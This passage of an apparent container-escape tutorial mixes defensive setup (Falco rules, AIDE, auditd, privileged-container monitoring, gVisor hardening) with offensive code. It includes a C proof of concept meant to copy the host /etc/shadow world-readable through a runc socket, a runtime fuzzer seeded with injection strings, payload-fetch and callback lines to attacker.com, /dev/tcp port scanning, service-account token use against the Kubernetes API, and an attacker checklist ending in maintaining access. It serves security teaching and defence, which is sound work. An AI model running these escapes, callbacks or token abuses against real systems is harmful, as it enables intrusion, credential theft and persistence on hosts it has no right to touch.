Sensitive host path mounted in container (user=%user.name
command=%proc.cmdline
container_id=%container.id container_name=%container.name
image=%container.image.repository source=%mount.source
destination=%mount.dest)
priority: WARNING
tags: [container, runtime]
2. Implement File Integrity Monitoring
# Install AIDE (Advanced Intrusion Detection Environment)
apt-get update && apt-get install -y aide
# Configure AIDE to monitor critical directories
cat > /etc/aide/aide.conf.d/90_docker << 'EOF'
/var/lib/docker/overlay2 R
/usr/bin/docker NORMAL
/usr/bin/containerd NORMAL
/etc/docker NORMAL
/etc/containerd NORMAL
EOF
# Initialize the database
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Set up a daily check
cat > /etc/cron.daily/aide-check << 'EOF'
#!/bin/sh
aide --check | mail -s "AIDE check report" root
EOF
chmod +x /etc/cron.daily/aide-check
3. Set Up Auditing
# Configure auditd to monitor container-related activities
cat > /etc/audit/rules.d/docker.rules << 'EOF'
# Monitor Docker daemon
-w /usr/bin/dockerd -p rwxa -k docker
-w /usr/bin/docker -p rwxa -k docker
-w /usr/bin/containerd -p rwxa -k docker
-w /usr/bin/crictl -p rwxa -k docker
# Monitor Docker configuration
-w /etc/docker/ -p rwxa -k docker_conf
-w /etc/containerd/ -p rwxa -k docker_conf
# Monitor Docker socket
-w /var/run/docker.sock -p rwxa -k docker_socket
# Monitor Docker containers
-w /var/lib/docker/ -p rwxa -k docker_containers
EOF
# Restart auditd
systemctl restart auditd
# Search audit logs for docker-related events
ausearch -k docker
Auto-Remediation Scripts
1. Detect and Kill Privileged Containers
#!/bin/bash
# security_monitor.sh - Monitor for privileged containers
while true; do
# Find privileged containers
echo "[*] Checking for privileged containers..."
PRIVILEGED_CONTAINERS=$(docker ps -a --format '{{.ID}} {{.Names}}' --filter "label=security_approved!=true" | \
xargs -I{} sh -c 'docker inspect --format="{{.HostConfig.Privileged}} {}" {} | grep "^true" || true')
if [ ! -z "$PRIVILEGED_CONTAINERS" ]; then
echo "[!] WARNING: Unauthorized privileged containers detected!"
echo "$PRIVILEGED_CONTAINERS"
# Notify administrators
echo "[*] Sending notification..."
echo "Unauthorized privileged containers detected: $PRIVILEGED_CONTAINERS" | \
mail -s "SECURITY ALERT: Privileged Containers" admin@example.com
# Stop containers (uncomment to enable auto-remediation)
# echo "[*] Stopping unauthorized containers..."
# echo "$PRIVILEGED_CONTAINERS" | awk '{print $2}' | xargs -I{} docker stop {}
else
echo "[*] No unauthorized privileged containers found."
fi
# Check for containers with Docker socket mounted
echo "[*] Checking for containers with Docker socket mounted..."
DOCKER_SOCKET_CONTAINERS=$(docker ps -a --format '{{.ID}} {{.Names}}' --filter "label=security_approved!=true" | \
xargs -I{} sh -c 'docker inspect --format="{{range .Mounts}}{{if eq .Source \"/var/run/docker.sock\"}}VULNERABLE: {{end}}{{end}} {}" {} | grep "^VULNERABLE" || true')
if [ ! -z "$DOCKER_SOCKET_CONTAINERS" ]; then
echo "[!] WARNING: Unauthorized containers with Docker socket detected!"
echo "$DOCKER_SOCKET_CONTAINERS"
# Notify administrators
echo "[*] Sending notification..."
echo "Unauthorized Docker socket mounts detected: $DOCKER_SOCKET_CONTAINERS" | \
mail -s "SECURITY ALERT: Docker Socket Mount" admin@example.com
# Stop containers (uncomment to enable auto-remediation)
# echo "[*] Stopping unauthorized containers..."
# echo "$DOCKER_SOCKET_CONTAINERS" | awk '{print $2}' | xargs -I{} docker stop {}
else
echo "[*] No unauthorized Docker socket mounts found."
fi
sleep 300 # Run every 5 minutes
done
2. Detect Suspicious Kubectl Operations
#!/bin/bash
# k8s_security_monitor.sh - Monitor for suspicious Kubernetes operations
# Setup kubectl audit logging
mkdir -p /var/log/kubernetes/audit
cat > /etc/kubernetes/audit-policy.yaml << 'EOF'
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec", "pods/attach", "secrets", "configmaps"]
- group: "rbac.authorization.k8s.io"
resources: ["roles", "clusterroles", "rolebindings", "clusterrolebindings"]
- group: "apps"
resources: ["deployments", "daemonsets", "statefulsets"]
EOF
# Function to check for suspicious kubectl commands
check_suspicious_commands() {
# Look for pod exec commands (potential container escapes)
KUBECTL_EXECS=$(grep "pods/exec" /var/log/kubernetes/audit/audit.log | grep -v "system:" | tail -n 20)
if [ ! -z "$KUBECTL_EXECS" ]; then
echo "[!] WARNING: Recent kubectl exec commands detected!"
echo "$KUBECTL_EXECS"
# Check for suspicious commands in exec
for cmd in "mount" "chroot" "docker" "kubelet" "nsenter" "iptables" "ip link"; do
SUSPICIOUS=$(echo "$KUBECTL_EXECS" | grep "$cmd")
if [ ! -z "$SUSPICIOUS" ]; then
echo "[!] ALERT: Potentially dangerous command '$cmd' executed in container!"
echo "$SUSPICIOUS" | mail -s "SECURITY ALERT: Suspicious kubectl exec" admin@example.com
fi
done
fi
# Look for privilege escalation via RBAC changes
RBAC_CHANGES=$(grep -E "roles|clusterroles|rolebindings|clusterrolebindings" /var/log/kubernetes/audit/audit.log | grep -v "system:" | tail -n 20)
if [ ! -z "$RBAC_CHANGES" ]; then
echo "[!] WARNING: Recent RBAC changes detected!"
echo "$RBAC_CHANGES"
echo "$RBAC_CHANGES" | mail -s "SECURITY ALERT: RBAC Changes" admin@example.com
fi
}
# Run checks periodically
while true; do
echo "[*] Checking for suspicious Kubernetes operations..."
check_suspicious_commands
sleep 600 # Run every 10 minutes
done
Defense in Depth Architecture
A multi-layered approach provides the best protection:
- Host Hardening
- Keep hosts updated
- Minimize installed packages
- Use SELinux/AppArmor
- Enable seccomp
- Implement host firewalls
- Container Isolation Enhancement
- Use Kata Containers or gVisor
- Implement strict cgroup limits
- Never use privileged containers
- Use read-only filesystems
- Network Segmentation
- Implement network policies
- Use service meshes for mTLS
- Segment container networks
- Apply egress filtering
- Access Controls
- Least privilege RBAC
- Just-in-time access
- Separate admin credentials
- Regular permission audits
- Monitoring and Detection
- Runtime security monitoring
- Behavioral analysis
- Centralized logging
- Alerting and auto-remediation
Vulnerability Management
# Scan container images for vulnerabilities
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image nginx:latest
# Scan running containers
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy container $(docker ps -q)
# Scan Kubernetes clusters
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/trivy-operator/main/deploy/manifests/trivy-operator.yaml
Hands-On Challenge #10: Defense Lab
Set up a secure container environment with defense in depth:
# Install gVisor
curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/gvisor-archive-keyring.gpg] https://storage.googleapis.com/gvisor/releases release main" | sudo tee /etc/apt/sources.list.d/gvisor.list > /dev/null
sudo apt-get update && sudo apt-get install -y runsc
# Configure Docker to use gVisor
sudo bash -c 'cat > /etc/docker/daemon.json << EOF
{
"runtimes": {
"runsc": {
"path": "/usr/bin/runsc"
}
}
}
EOF'
# Restart Docker
sudo systemctl restart docker
# Create a hardened container
docker run --rm -d \
--runtime=runsc \
--security-opt=no-new-privileges \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=100m \
--name secure-nginx \
-p 8080:80 \
nginx:latest
# Now try to escape from this container
docker exec -it secure-nginx bash
Research and Zero-Day Development
Now that we've mastered existing escape techniques, let's explore the cutting edge: researching and developing new container escape methods.
The Container Vulnerability Research Process
After spending years on container security research, I've developed this methodology for finding new escape vectors:
- Understand the underlying technology deeply: Study the Linux kernel features, container runtime source code, and isolation mechanisms thoroughly.
- Map the attack surface: Identify all interfaces between container and host, both intended and unintended.
- Follow development closely: Monitor container runtime repositories, mailing lists, and issue trackers.
- Test new features aggressively: New features often introduce security issues before they're hardened.
- Look for unexpected interactions: Most zero-days come from unexpected interactions between components.
Source Code Auditing Techniques
To find zero-days, we need to dig into source code:
# Clone and analyze Docker source code
git clone https://github.com/moby/moby.git
cd moby
# Search for dangerous patterns in the code
grep -r "unsafe\." --include="*.go" .
grep -r "syscall\." --include="*.go" .
grep -r "exec\.Command" --include="*.go" .
# Look for privileged operations in runtimes
grep -r "privileged" --include="*.go" .
grep -r "CAP_SYS_ADMIN" --include="*.go" .
Focus on code that handles these critical areas:
- Namespace transitions: Code that moves between namespaces
- Capability management: How capabilities are granted and dropped
- Volume mounting: File system interactions between host and container
- Network configuration: Especially interfaces shared with the host
- cgroup operations: Resource control mechanisms
Finding Hidden Attack Surfaces
Some of the most powerful container escapes come from overlooked attack surfaces:
1. Linux Pseudo-Filesystems
Beyond /proc and /sys, look at these often-overlooked interfaces:
# Check for debugfs access
ls -la /sys/kernel/debug/
# Look for tracefs
ls -la /sys/kernel/tracing/
# Check for securityfs
ls -la /sys/kernel/security/
2. Shared Memory Regions
# List all shared memory segments
ipcs -m
# Check for Docker-specific shared memory
ls -la /dev/shm/
# Look for namespace identifiers that might be shared
ls -la /proc/self/ns/
3. Abstract Unix Sockets
# List all abstract sockets (note the leading @)
netstat -xl | grep "@"
# Check for container runtime sockets
netstat -xl | grep -E "@docker|@containerd|@podman"
4. Extended BPF (eBPF) Subsystem
A promising area for new container escapes:
# Check if BPF JIT compilation is enabled (potential target)
cat /proc/sys/net/core/bpf_jit_enable
# List loaded BPF programs and maps (if bpftool is available)
bpftool prog list
bpftool map list
Developing a Custom runc Escape
Let's build a custom exploit for runc, the low-level container runtime:
// custom_runc_escape.c - Proof of concept for a hypothetical runc vulnerability
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/mount.h>
// This is a simplified demonstration of developing a custom runc escape
// Actual exploits would target specific vulnerabilities
#define RUNC_SOCKET "/run/runc/runc.sock"
#define PAYLOAD "#!/bin/bash\ncp /etc/shadow /tmp/shadow && chmod 777 /tmp/shadow\n"
int main(int argc, char *argv[]) {
printf("[+] Starting custom runc escape POC\n");
// 1. Check for prerequisites
if (access(RUNC_SOCKET, F_OK) == -1) {
printf("[-] runc socket not found at %s\n", RUNC_SOCKET);
return 1;
}
// 2. Create a payload file
FILE *payload_file = fopen("/tmp/payload.sh", "w");
if (!payload_file) {
perror("[-] Failed to create payload file");
return 1;
}
fprintf(payload_file, "%s", PAYLOAD);
fclose(payload_file);
chmod("/tmp/payload.sh", 0755);
// 3. Connect to runc socket
struct sockaddr_un addr;
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock == -1) {
perror("[-] Socket creation failed");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, RUNC_SOCKET, sizeof(addr.sun_path) - 1);
printf("[+] Connecting to runc socket\n");
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
perror("[-] Connection failed");
return 1;
}
// 4. Craft exploit payload
// Note: This is a framework for a real exploit targeting a specific vulnerability
// Actual exploits would use specific protocol messages/commands
char buffer[4096];
snprintf(buffer, sizeof(buffer),
"{\n"
" \"type\": \"exec\",\n"
" \"payload\": {\n"
" \"command\": [\"/tmp/payload.sh\"],\n"
" \"env\": [\"PATH=/bin:/usr/bin\"],\n"
" \"tty\": false\n"
" }\n"
"}\n");
printf("[+] Sending payload to runc socket\n");
if (write(sock, buffer, strlen(buffer)) == -1) {
perror("[-] Failed to send payload");
close(sock);
return 1;
}
// 5. Check if exploit succeeded
sleep(1);
if (access("/tmp/shadow", F_OK) != -1) {
printf("[+] Exploit successful! Host shadow file copied to /tmp/shadow\n");
} else {
printf("[-] Exploit failed or container not vulnerable\n");
}
close(sock);
return 0;
}
Discovering New Capabilities-Based Escapes
Capabilities-based escapes are often overlooked:
// cap_abuse.c - Demonstrate a new capabilities-based escape
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/capability.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main() {
// Check our current capabilities
cap_t caps = cap_get_proc();
if (caps == NULL) {
perror("Failed to get capabilities");
return 1;
}
printf("[+] Current capabilities:\n");
char *caps_text = cap_to_text(caps, NULL);
printf("%s\n", caps_text);
cap_free(caps_text);
cap_free(caps);
// Look for interesting capabilities
if (cap_dac_override_check()) {
printf("[+] Found CAP_DAC_OVERRIDE capability\n");
printf("[+] Attempting to access host files via side channel...\n");
// In a real exploit, we would use the capability in a novel way
// This is just a demonstration framework
// Example: Use CAP_DAC_OVERRIDE to bypass permission checks on
// a special device or interface that has access to host resources
int fd = open("/dev/custom_interface", O_RDWR);
if (fd != -1) {
printf("[+] Successfully opened restricted interface\n");
// Use the interface to escape
close(fd);
}
}
// Similarly check other capabilities for novel abuse vectors
return 0;
}
// Note: This function is for demonstration only
int cap_dac_override_check() {
// In a real implementation, use libcap to check for specific capability
return 1; // Pretend we have it for demonstration
}
Fuzzing Container Runtimes
Fuzzing has discovered numerous container escape vulnerabilities:
#!/usr/bin/env python3
# container_runtime_fuzzer.py - Basic framework for fuzzing container runtimes
import os
import random
import subprocess
import json
import time
import signal
from multiprocessing import Pool
# Configuration
ITERATIONS = 10000
DOCKER_BIN = "/usr/bin/docker"
TEST_IMAGE = "ubuntu:20.04"
OUTPUT_DIR = "./fuzzing_results"
# Fuzzing primitives
SPECIAL_STRINGS = [
"../../../../../../../../etc/shadow",
"/dev/random",
"/proc/self/exe",
"$(id)",
"`cat /etc/shadow`",
"\x00\xFF\x90\x12\x34",
"\\",
"%s%s%s%s%s%s%s%s%s%s",
]
MOUNT_TARGETS = [
"/etc",
"/proc",
"/sys",
"/dev",
"/var/run",
"/var/run/docker.sock",
"/",
]
ENV_VARS = [
"PATH=/bin:/usr/bin:/sbin:/usr/sbin",
"TERM=xterm",
"DISPLAY=:0",
"HOME=/root",
"LD_PRELOAD=/lib/evil.so",
"DOCKER_HOST=unix:///var/run/docker.sock",
]
CAPABILITIES = [
"ALL",
"SYS_ADMIN",
"NET_ADMIN",
"SYS_PTRACE",
"SYS_MODULE",
"DAC_READ_SEARCH",
"DAC_OVERRIDE",
]
def generate_random_string(length=10):
"""Generate a random string of the specified length."""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{}|;:,.<>?/"
return ''.join(random.choice(charset) for _ in range(length))
def generate_fuzzy_volume():
"""Generate a random volume configuration."""
src = random.choice([
generate_random_string(),
random.choice(SPECIAL_STRINGS),
random.choice(MOUNT_TARGETS)
])
dst = random.choice([
generate_random_string(),
random.choice(SPECIAL_STRINGS),
"/mnt/fuzz",
"/etc/passwd"
])
mode = random.choice(["ro", "rw", "z", "Z", "shared", "rshared", "slave", "rslave"])
return f"{src}:{dst}:{mode}"
def generate_fuzzy_command():
"""Generate a random command to execute in the container."""
base_commands = [
"sleep",
"cat",
"ls",
"echo",
"touch",
"mount",
"umount",
"id",
"sh -c",
"bash -c",
]
cmd = random.choice(base_commands)
if random.random() < 0.5:
cmd += " " + random.choice(SPECIAL_STRINGS)
else:
cmd += " " + generate_random_string()
return cmd
def generate_fuzzy_container_config():
"""Generate a random container configuration for fuzzing."""
config = {
"Image": TEST_IMAGE,
"Cmd": generate_fuzzy_command().split(),
"Hostname": generate_random_string(),
"Domainname": generate_random_string(),
"User": random.choice(["root", "1000:1000", "nobody", "daemon", "65534"]),
"AttachStdin": random.choice([True, False]),
"AttachStdout": random.choice([True, False]),
"AttachStderr": random.choice([True, False]),
"Tty": random.choice([True, False]),
"OpenStdin": random.choice([True, False]),
"StdinOnce": random.choice([True, False]),
"Env": [random.choice(ENV_VARS) for _ in range(random.randint(0, 5))],
"Volumes": {random.choice(MOUNT_TARGETS): {} for _ in range(random.randint(0, 3))},
"NetworkDisabled": random.choice([True, False]),
"HostConfig": {
"Binds": [generate_fuzzy_volume() for _ in range(random.randint(0, 3))],
"CapAdd": [random.choice(CAPABILITIES) for _ in range(random.randint(0, 2))],
"CapDrop": [random.choice(CAPABILITIES) for _ in range(random.randint(0, 2))],
"Privileged": random.random() < 0.1, # 10% chance of being privileged
"ReadonlyRootfs": random.choice([True, False]),
"IpcMode": random.choice(["", "host", "container:fuzzy", "private"]),
"PidMode": random.choice(["", "host", "container:fuzzy"]),
"NetworkMode": random.choice(["default", "bridge", "host", "none"]),
"UTSMode": random.choice(["", "host"]),
"Devices": [], # We could fuzz device mappings too
"ShmSize": random.choice([0, 64*1024*1024, 128*1024*1024]),
}
}
# Sometimes add a custom seccomp profile (careful, can crash the system!)
if random.random() < 0.05: # 5% chance
config["HostConfig"]["SecurityOpt"] = [
"seccomp=" + json.dumps({
"defaultAction": random.choice(["SCMP_ACT_ALLOW", "SCMP_ACT_ERRNO", "SCMP_ACT_KILL"]),
"syscalls": [{"names": ["open", "read", "write"], "action": "SCMP_ACT_ALLOW"}]
})
]
return config
def run_fuzzing_test(iteration):
"""Run a single fuzzing test iteration."""
try:
config = generate_fuzzy_container_config()
# Log the test case
test_case_file = os.path.join(OUTPUT_DIR, f"test_case_{iteration}.json")
with open(test_case_file, "w") as f:
json.dump(config, f, indent=2)
# Create the container with our fuzzy config
container_config_file = os.path.join(OUTPUT_DIR, f"container_config_{iteration}.json")
with open(container_config_file, "w") as f:
json.dump(config, f, indent=2)
# Use docker create with our config
create_cmd = [DOCKER_BIN, "create"]
# Add host config options
host_config = config["HostConfig"]
if host_config.get("Binds"):
for bind in host_config["Binds"]:
create_cmd.extend(["-v", bind])
if host_config.get("CapAdd"):
for cap in host_config["CapAdd"]:
create_cmd.extend(["--cap-add", cap])
if host_config.get("CapDrop"):
for cap in host_config["CapDrop"]:
create_cmd.extend(["--cap-drop", cap])
if host_config.get("Privileged"):
create_cmd.append("--privileged")
if host_config.get("ReadonlyRootfs"):
create_cmd.append("--read-only")
# Add other config options
create_cmd.extend(["--hostname", config["Hostname"]])
for env in config["Env"]:
create_cmd.extend(["-e", env])
# Add the image and command
create_cmd.append(config["Image"])
create_cmd.extend(config["Cmd"])
# Run the command with a timeout
try:
create_process = subprocess.Popen(
create_cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Set a timeout
def timeout_handler(signum, frame):
create_process.kill()
raise TimeoutError("Process timed out")
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(5) # 5 second timeout
stdout, stderr = create_process.communicate()
signal.alarm(0) # Cancel the alarm
container_id = stdout.decode().strip()
# Log the results
result = {
"iteration": iteration,
"container_id": container_id,
"exit_code": create_process.returncode,
"stdout": stdout.decode(),
"stderr": stderr.decode()
}
result_file = os.path.join(OUTPUT_DIR, f"result_{iteration}.json")
with open(result_file, "w") as f:
json.dump(result, f, indent=2)
# Check if we successfully created a container
if create_process.returncode == 0 and container_id:
# Start the container (might trigger bugs)
start_cmd = [DOCKER_BIN, "start", container_id]
start_process = subprocess.Popen(
start_cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
signal.alarm(5) # 5 second timeout
start_stdout, start_stderr = start_process.communicate()
signal.alarm(0) # Cancel the alarm
# Log the start results
start_result = {
"iteration": iteration,
"container_id": container_id,
"exit_code": start_process.returncode,
"stdout": start_stdout.decode(),
"stderr": start_stderr.decode()
}
start_result_file = os.path.join(OUTPUT_DIR, f"start_result_{iteration}.json")
with open(start_result_file, "w") as f:
json.dump(start_result, f, indent=2)
# Let it run briefly
time.sleep(1)
# Clean up the container
subprocess.run([DOCKER_BIN, "rm", "-f", container_id],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
except TimeoutError:
# Log timeout
timeout_result = {
"iteration": iteration,
"timeout": True,
"command": " ".join(create_cmd)
}
timeout_file = os.path.join(OUTPUT_DIR, f"timeout_{iteration}.json")
with open(timeout_file, "w") as f:
json.dump(timeout_result, f, indent=2)
# Try to clean up any container that might have been created
try:
containers = subprocess.check_output([DOCKER_BIN, "ps", "-aq"]).decode().strip().split("\n")
for container in containers:
if container:
subprocess.run([DOCKER_BIN, "rm", "-f", container],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
except:
pass
except Exception as e:
# Log any exceptions
error_result = {
"iteration": iteration,
"error": str(e)
}
error_file = os.path.join(OUTPUT_DIR, f"error_{iteration}.json")
with open(error_file, "w") as f:
json.dump(error_result, f, indent=2)
def main():
"""Main fuzzing function."""
# Create output directory
os.makedirs(OUTPUT_DIR, exist_ok=True)
print(f"[+] Starting container runtime fuzzing with {ITERATIONS} iterations")
print(f"[+] Results will be saved to {OUTPUT_DIR}")
# Run tests in parallel
with Pool(processes=os.cpu_count()) as pool:
pool.map(run_fuzzing_test, range(ITERATIONS))
print("[+] Fuzzing complete")
print("[+] Analyzing results for potential vulnerabilities...")
# Simple result analysis
crashes = 0
timeouts = 0
errors = 0
for filename in os.listdir(OUTPUT_DIR):
if filename.startswith("error_"):
errors += 1
elif filename.startswith("timeout_"):
timeouts += 1
elif filename.startswith("result_"):
with open(os.path.join(OUTPUT_DIR, filename), "r") as f:
result = json.load(f)
if result["exit_code"] != 0:
crashes += 1
print(f"[+] Analysis complete:")
print(f" - Crashes: {crashes}")
print(f" - Timeouts: {timeouts}")
print(f" - Errors: {errors}")
print("[+] Check the output directory for detailed logs")
if __name__ == "__main__":
main()
Developing Zero-Day Exploits Responsibly
When you discover a new container escape vulnerability:
- Document thoroughly: Record all steps, affected versions, and prerequisites.
- Develop a proof-of-concept: Create a minimal working example.
- Contact the vendor: Follow responsible disclosure procedures.
- Allow time for patching: Typically 90 days before publication.
- Publish details after patch: Share knowledge to improve security.
Research Decision Tree
What area are you researching?
├── Container runtime (Docker, containerd)
│ ├── Focus on → Namespace transitions, capability management
│ └── Methods → Source code auditing, fuzzing API endpoints
├── Linux kernel features used by containers
│ ├── Focus on → cgroups, namespaces, capabilities
│ └── Methods → Code review, syscall fuzzing
├── Orchestration platforms (Kubernetes)
│ ├── Focus on → API server, kubelet, etcd
│ └── Methods → Authentication bypass, permission escalation
└── Container images and build processes
├── Focus on → Build systems, base images
└── Methods → Supply chain attacks, backdooring
Common Pitfalls & Troubleshooting
Even experienced security researchers face challenges with container escapes. Here's how to overcome common issues:
Container Escape Failures
Problem: The escape technique fails despite meeting all prerequisites.
Troubleshooting Steps:
Kernel hardening features:
# Check if kernel hardening is enabled
sysctl -a | grep -E 'dmesg|kptr_restrict|perf_event_paranoid|protected_hardlinks|protected_symlinks|unprivileged_bpf_disabled'
Check for security modules:
# Is AppArmor enabled?
cat /proc/self/attr/current
# Is SELinux enabled?
getenforce 2>/dev/null || echo "No SELinux"
# Check seccomp status
grep Seccomp /proc/self/status
Verify container configuration:
# Check if you're really in a container
grep -q 'docker\|lxc\|containerd' /proc/1/cgroup && echo "In container" || echo "Not in container"
# Verify capabilities
capsh --print
# Check your current namespaces
ls -la /proc/self/ns/
Escaping Without Common Tools
Problem: Target container has minimal tools installed.
Solution:
Use statically compiled binaries:
# If you can transfer files, use statically compiled tools
# Example: Statically compiled busybox
chmod +x ./busybox
./busybox wget http://attacker.com/payload -O /tmp/payload
Create temporary scripts:
# Create a temporary Python script if Python is available
cat > /tmp/simple_http.py << 'EOF'
import socket
s = socket.socket()
s.connect(('attacker.com', 4444))
s.send(b'Container escaped!\n')
EOF
python /tmp/simple_http.py
Use bash built-ins:
# Instead of curl
exec 3<>/dev/tcp/google.com/80
echo -e "GET / HTTP/1.1\r\nHost: google.com\r\n\r\n" >&3
cat <&3
# Instead of wget
(echo -e "GET /file HTTP/1.1\r\nHost: example.com\r\n\r\n"; sleep 1) > /dev/tcp/example.com/80 < /dev/tcp/example.com/80 > file
# Network scanning without nmap
for port in {1..1024}; do (echo >/dev/tcp/target-host/$port) >/dev/null 2>&1 && echo "Port $port open"; done
Improved Error Handling in Exploits
Always add robust error handling to your container escape scripts:
#!/bin/bash
# robust_escape.sh - Container escape with error handling
# Enable error tracing
set -e
# Logging function
log() {
echo "[$(date +%T)] $1"
}
# Error handling function
handle_error() {
local error_code=$?
log "ERROR: Command failed with exit code $error_code"
log "ERROR: Line that failed: ${BASH_COMMAND}"
# Attempt cleanup
log "Attempting cleanup..."
# Add your cleanup commands here
exit $error_code
}
# Set error handler
trap handle_error ERR
# Main escape function
escape_container() {
log "Starting container escape"
# Check prerequisites
log "Checking prerequisites"
if [ ! -S /var/run/docker.sock ]; then
log "Docker socket not found, trying alternative methods"
# Try alternative methods
return 1
fi
log "Docker socket found, proceeding with escape"
# Rest of escape code
# ...
return 0
}
# Alternative method if primary fails
alternative_escape() {
log "Attempting alternative escape method"
# Alternative escape code
# ...
}
# Main execution
log "Starting escape sequence"
if ! escape_container; then
log "Primary escape failed, trying alternative"
alternative_escape
fi
log "Escape sequence completed"
Dealing with Restricted Network Access
When containers have limited network access:
# Check network connectivity
ip a
ip route
cat /etc/resolv.conf
# Test DNS resolution
host google.com || echo "DNS not working"
# Test outbound connectivity
timeout 5 bash -c "</dev/tcp/8.8.8.8/53" && echo "Network access available" || echo "No network access"
# If IPv4 is blocked, try IPv6
timeout 5 bash -c "</dev/tcp/[2001:4860:4860::8888]/53" && echo "IPv6 available" || echo "No IPv6 access"
# Check if you can reach the host network
# If you have hostNetwork: true in Kubernetes or --network=host in Docker
for ip in $(ip route | grep -v 'default' | cut -d' ' -f1); do
echo "Checking subnet $ip"
for host in $(seq 1 254); do
timeout 0.1 bash -c "</dev/tcp/$ip.$host/22" 2>/dev/null && echo "Host found: $ip.$host with SSH open"
done
done
Kubernetes Troubleshooting
Common issues with Kubernetes-specific escape techniques:
# 1. Service account token issues
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
if [ -z "$TOKEN" ]; then
echo "No service account token found"
# Try alternative locations
for path in /run/secrets/kubernetes.io/serviceaccount /secrets/token; do
if [ -f "$path/token" ]; then
TOKEN=$(cat "$path/token")
echo "Found token at $path/token"
break
fi
done
fi
# 2. API server access issues
API_SERVER="https://kubernetes.default.svc"
if ! curl -k -s "$API_SERVER/healthz" > /dev/null; then
echo "Cannot reach API server at $API_SERVER"
# Try alternative discovery
for subnet in 10.0.0 10.100.0 10.96.0 172.17.0; do
for i in {1..10}; do
if curl -k -s --connect-timeout 1 "https://$subnet.$i:443/healthz" > /dev/null; then
echo "Found potential API server at $subnet.$i"
API_SERVER="https://$subnet.$i:443"
break 2
fi
done
done
fi
# 3. Permission issues
if ! curl -k -s -H "Authorization: Bearer $TOKEN" "$API_SERVER/api/v1/namespaces" > /dev/null; then
echo "Permission denied with current token"
# Check what permissions we do have
curl -k -s -H "Authorization: Bearer $TOKEN" \
"$API_SERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X POST -H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
fi
Blue Team: Detecting Escape Attempts
For defenders, identifying escape attempts is crucial:
# 1. Monitor for suspicious processes
grep -l docker /proc/*/cgroup 2>/dev/null | grep -v "^/proc/$$/cgroup$" | while read -r proc_cgroup; do
pid=$(echo "$proc_cgroup" | cut -d/ -f3)
cmd=$(cat "/proc/$pid/cmdline" 2>/dev/null | tr '\0' ' ')
echo "Container process $pid running: $cmd"
done
# 2. Check for unexpected capabilities
find /proc/*/status 2>/dev/null | xargs grep -l "CapEff:" | while read -r proc_status; do
pid=$(echo "$proc_status" | cut -d/ -f3)
caps=$(grep "CapEff:" "$proc_status" | awk '{print $2}')
# Convert hex to binary and count set bits
cap_count=$(printf "%x" "$caps" |
tr '0123456789abcdef' '0000100010101111' |
tr -d '0' | wc -c)
if [ "$cap_count" -gt 10 ]; then
echo "Process $pid has $cap_count capabilities: $caps"
cat "/proc/$pid/cmdline" | tr '\0' ' '
fi
done
# 3. Monitor for container breakout indicators
watch -n 5 'dmesg | grep -E "SECURITY|AUDIT|WARN" | tail -n 20'
# 4. Monitor Docker socket access
auditctl -w /var/run/docker.sock -p rwxa -k docker_socket_access
ausearch -k docker_socket_access
Key Takeaways & Resources
After years of researching container escapes, here are the most critical lessons:
Core Security Principles
- Defense in depth is essential: Never rely on containers as your only security boundary.
- Privilege minimization works: Most escapes require privileged access of some kind.
- Shared kernels create shared risks: Container isolation will never be as strong as VM isolation.
- Configuration matters more than technology: Properly configured containers are reasonably secure; misconfigured ones are trivial to escape.
- Security vs. usability tradeoffs: The most secure container configurations are often the least convenient.
For Defenders: Essential Hardening Steps
- Never run privileged containers in production
- Never mount the Docker socket inside containers
- Use read-only root filesystems whenever possible
- Implement network policies to limit container communication
- Use security contexts and Pod Security Standards in Kubernetes
- Keep host kernels and container runtimes updated
- Run runtime security monitoring tools
- Consider enhanced isolation technologies (gVisor, Kata Containers)
For Attackers: Methodical Approach
- Start with reconnaissance to identify the environment
- Check for common misconfigurations first
- Look for access to the Docker socket or privileged containers
- Identify mounted sensitive paths that may enable escapes
- Check for service account tokens in Kubernetes environments
- Look for kernel vulnerabilities as a last resort
- Maintain access once escaped
Comprehensive Container Security Tools
| Category | Tool | Description |
|---|---|---|
| Runtime Security | Falco | Real-time container runtime monitoring |
| Sysdig | Container monitoring and forensics | |
| Aqua Security | Commercial container security platform | |
| Vulnerability Scanning | Trivy | Container and filesystem vulnerability scanner |
| Clair | Static container vulnerability analyzer | |
| Anchore | Deep container analysis | |
| Network Security | Calico | Network policy for Kubernetes |
| Cilium | eBPF-based network security | |
| Istio | Service mesh with security features | |
| Configuration Analysis | Kube-bench | CIS benchmark for Kubernetes |
| Docker-bench-security | CIS benchmark for Docker | |
| Kubesec | Security risk analysis for Kubernetes resources | |
| Penetration Testing | Kube-hunter | Kubernetes penetration testing tool |
| Amicontained | Container introspection tool | |
| Deepce | Container enumeration and exploitation tool |
Essential References
- Official Documentation
- Research Papers
